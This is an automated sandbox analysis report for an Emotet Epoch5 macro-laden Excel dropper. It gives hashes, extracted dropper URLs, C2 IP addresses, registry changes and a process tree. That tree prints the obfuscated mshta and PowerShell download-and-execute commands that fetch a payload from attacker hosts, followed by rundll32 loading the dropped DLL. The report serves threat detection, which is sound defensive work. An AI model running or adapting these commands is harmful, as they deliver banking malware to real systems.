emotet | a75d803a646fa5cfa41b0489c6de355e62319450b46d41792b4b5b3cd21a0dc3

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 07:22

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General

Target

93660-5554203.xlsm
Size

115KB
MD5

d5b31c6b64e9d8301335eab74bd9962f
SHA1

1d2f396131f003ad2e23201b7e2661b5dd3a788b
SHA256

a75d803a646fa5cfa41b0489c6de355e62319450b46d41792b4b5b3cd21a0dc3
SHA512

f4b100e44b95411bbfb8d1daccbf27dac19cd6cc32ac6341deb5aaebfadf3a12460486c89b07992577bbc030c69df4af55df48c42b36b72299248eb233fba4c1

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1800	1088	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1376 mshta.exe
5 1744 powershell.exe
7 1744 powershell.exe
9 1972 rundll32.exe
10 1972 rundll32.exe
11 1972 rundll32.exe
13 1972 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1352 rundll32.exe
1352 rundll32.exe
1352 rundll32.exe
1352 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Vdmlneya\ajdmciztdla.sbc rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1376	mshta.exe
5	1744	powershell.exe
7	1744	powershell.exe
9	1972	rundll32.exe
10	1972	rundll32.exe
11	1972	rundll32.exe
13	1972	rundll32.exe

pid	process
1352	rundll32.exe
1352	rundll32.exe
1352	rundll32.exe
1352	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Vdmlneya\ajdmciztdla.sbc	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1088 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1744 powershell.exe
1972 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1744 powershell.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXE

pid process

1088 EXCEL.EXE
1088 EXCEL.EXE
1088 EXCEL.EXE
1088 EXCEL.EXE
1088 EXCEL.EXE

pid	process
1088	EXCEL.EXE

pid	process
1744	powershell.exe
1972	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1744	powershell.exe

pid	process
1088	EXCEL.EXE
1088	EXCEL.EXE
1088	EXCEL.EXE
1088	EXCEL.EXE
1088	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1088 wrote to memory of 756	1088	EXCEL.EXE	splwow64.exe
PID 1088 wrote to memory of 756	1088	EXCEL.EXE	splwow64.exe
PID 1088 wrote to memory of 756	1088	EXCEL.EXE	splwow64.exe
PID 1088 wrote to memory of 756	1088	EXCEL.EXE	splwow64.exe
PID 1088 wrote to memory of 1800	1088	EXCEL.EXE	cmd.exe
PID 1088 wrote to memory of 1800	1088	EXCEL.EXE	cmd.exe
PID 1088 wrote to memory of 1800	1088	EXCEL.EXE	cmd.exe
PID 1088 wrote to memory of 1800	1088	EXCEL.EXE	cmd.exe
PID 1800 wrote to memory of 1376	1800	cmd.exe	mshta.exe
PID 1800 wrote to memory of 1376	1800	cmd.exe	mshta.exe
PID 1800 wrote to memory of 1376	1800	cmd.exe	mshta.exe
PID 1800 wrote to memory of 1376	1800	cmd.exe	mshta.exe
PID 1376 wrote to memory of 1744	1376	mshta.exe	powershell.exe
PID 1376 wrote to memory of 1744	1376	mshta.exe	powershell.exe
PID 1376 wrote to memory of 1744	1376	mshta.exe	powershell.exe
PID 1376 wrote to memory of 1744	1376	mshta.exe	powershell.exe
PID 1744 wrote to memory of 1520	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 1520	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 1520	1744	powershell.exe	cmd.exe
PID 1744 wrote to memory of 1520	1744	powershell.exe	cmd.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1520 wrote to memory of 1352	1520	cmd.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1352 wrote to memory of 1612	1352	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 1880	1612	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe
PID 1880 wrote to memory of 1972	1880	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\93660-5554203.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:756

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vdmlneya\ajdmciztdla.sbc",qNbLVaYoUbp
8⤵
- Suspicious use of WriteProcessMemory
PID:1880

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vdmlneya\ajdmciztdla.sbc",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
f8abfcd6b2735aba706f562332a9a5db

SHA1
4253785b8f4c4f6d02803d566f4da7834c623be5

SHA256
233a11102c85ff2313b92bcd83086055383564540d6d5fa3c34b022ac9b09f61

SHA512
328221b92f4c1a892914c5e843e1d65aabf5be0dadb707fa2797c42bcfb37cc5344773611be559aa98371d6c6f6c01f44634f68ac0b9e392655def501120bba9

Download Submit
\Users\Public\Documents\ssd.dll

MD5
f8abfcd6b2735aba706f562332a9a5db

SHA1
4253785b8f4c4f6d02803d566f4da7834c623be5

SHA256
233a11102c85ff2313b92bcd83086055383564540d6d5fa3c34b022ac9b09f61

SHA512
328221b92f4c1a892914c5e843e1d65aabf5be0dadb707fa2797c42bcfb37cc5344773611be559aa98371d6c6f6c01f44634f68ac0b9e392655def501120bba9

Download Submit
\Users\Public\Documents\ssd.dll

MD5
f8abfcd6b2735aba706f562332a9a5db

SHA1
4253785b8f4c4f6d02803d566f4da7834c623be5

SHA256
233a11102c85ff2313b92bcd83086055383564540d6d5fa3c34b022ac9b09f61

SHA512
328221b92f4c1a892914c5e843e1d65aabf5be0dadb707fa2797c42bcfb37cc5344773611be559aa98371d6c6f6c01f44634f68ac0b9e392655def501120bba9

Download Submit
\Users\Public\Documents\ssd.dll

MD5
f8abfcd6b2735aba706f562332a9a5db

SHA1
4253785b8f4c4f6d02803d566f4da7834c623be5

SHA256
233a11102c85ff2313b92bcd83086055383564540d6d5fa3c34b022ac9b09f61

SHA512
328221b92f4c1a892914c5e843e1d65aabf5be0dadb707fa2797c42bcfb37cc5344773611be559aa98371d6c6f6c01f44634f68ac0b9e392655def501120bba9

Download Submit
\Users\Public\Documents\ssd.dll

MD5
f8abfcd6b2735aba706f562332a9a5db

SHA1
4253785b8f4c4f6d02803d566f4da7834c623be5

SHA256
